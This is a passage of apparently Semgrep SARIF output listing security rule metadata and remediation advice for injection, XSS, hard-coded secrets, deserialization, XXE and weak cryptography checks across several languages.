consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint.gorilla-go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"help":{"markdown":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli)\n - [https://github.com/aio-libs/aiopg](https://github.com/aio-libs/aiopg)\n","text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","id":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","name":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes)\n - [https://pugjs.org/language/attributes.html#attributes](https://pugjs.org/language/attributes.html#attributes)\n","text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","id":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","name":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"help":{"markdown":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"UIWebView instances were observed where the baseURL is misconfigured as nil, which allows for origin abuse within the webview. In order to remove the effective origin, the application should explicitly set the baseURL to `about:blank` or similar."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-baseurl.swift-webview-config-base-url","id":"swift.webview.webview-baseurl.swift-webview-config-base-url","name":"swift.webview.webview-baseurl.swift-webview-config-base-url","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-baseurl.swift-webview-config-base-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","id":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","name":"csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.networkcredential-hardcoded-secret.networkcredential-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"help":{"markdown":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-6.0)\n","text":"The top level wildcard bindings $PREFIX leaves your application open to security vulnerabilities and give attackers more control over where traffic is routed. If you must use wildcards, consider using subdomain wildcard binding. For example, you can use \"*.asdf.gov\" if you own all of \"asdf.gov\"."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","id":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","name":"csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.http.http-listener-wildcard-bindings.http-listener-wildcard-bindings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"help":{"markdown":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n - [https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user)\n","text":"Avoid using sudo in Dockerfiles. Running processes as a non-root user can help  reduce the potential impact of configuration errors and security vulnerabilities."},"helpUri":"https://semgrep.dev/r/dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","id":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","name":"dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.no-sudo-in-dockerfile.no-sudo-in-dockerfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec.user-exec","id":"python.django.security.injection.code.user-exec.user-exec","name":"python.django.security.injection.code.user-exec.user-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec.user-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"help":{"markdown":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization)\n - [https://frohoff.github.io/appseccali-marshalling-pickles/](https://frohoff.github.io/appseccali-marshalling-pickles/)\n - [https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi](https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi)\n - [https://youtu.be/t_aw1mDNhzI](https://youtu.be/t_aw1mDNhzI)\n - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)\n - [https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331](https://github.com/openjdk/jdk/blob/master/src/java.rmi/share/classes/sun/rmi/server/UnicastRef.java#L303C4-L331)\n","text":"Using an arbitrary object ('$PARAMTYPE $PARAM') with Java RMI is an insecure deserialization vulnerability. This object can be manipulated by a malicious actor allowing them to execute code on your system. Instead, use an integer ID to look up your object, or consider alternative serialization schemes such as JSON."},"helpUri":"https://semgrep.dev/r/java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","id":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","name":"java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.rmi.security.server-dangerous-object-deserialization.server-dangerous-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request)\n - [https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server](https://www.codejava.net/java-se/ftp/connect-and-login-to-a-ftp-server)\n - [https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html](https://commons.apache.org/proper/commons-net/apidocs/org/apache/commons/net/ftp/FTPClient.html)\n","text":"Checks for outgoing connections to ftp servers. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","id":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","name":"csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.mongo.csharp-mongo-hardcoded-secret.csharp-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"help":{"markdown":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)](https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS))\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Fstored)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Fxss~2Freflected)\n","text":"Untrusted user input enters a dangerous API, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: `Encode.forHtml($VAR)`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser)\n","text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","id":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","name":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n","text":"Detected string concatenation with a non-literal variable in a \"database/sql\" Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","id":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","name":"go.lang.security.audit.sqli.gosql-sqli.gosql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.gosql-sqli.gosql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.pycryptodome.org/src/hash/ripemd160](https://www.pycryptodome.org/src/hash/ripemd160)\n - [https://www.pycryptodome.org/src/hash/sha1](https://www.pycryptodome.org/src/hash/sha1)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n","text":"Detected $ALG hash algorithm which is considered insecure. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","id":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","name":"python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-sha1-or-ripemd160.pycryptodome-sha1-or-ripemd160"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","id":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","name":"java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mysql.mysql-jdbc-hardcoded-secret.mysql-jdbc-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","id":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","name":"python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-log-formatter-flask.tainted-log-injection-log-formatter-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits"},"help":{"markdown":"RSA keys should be at least 2048 bits\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 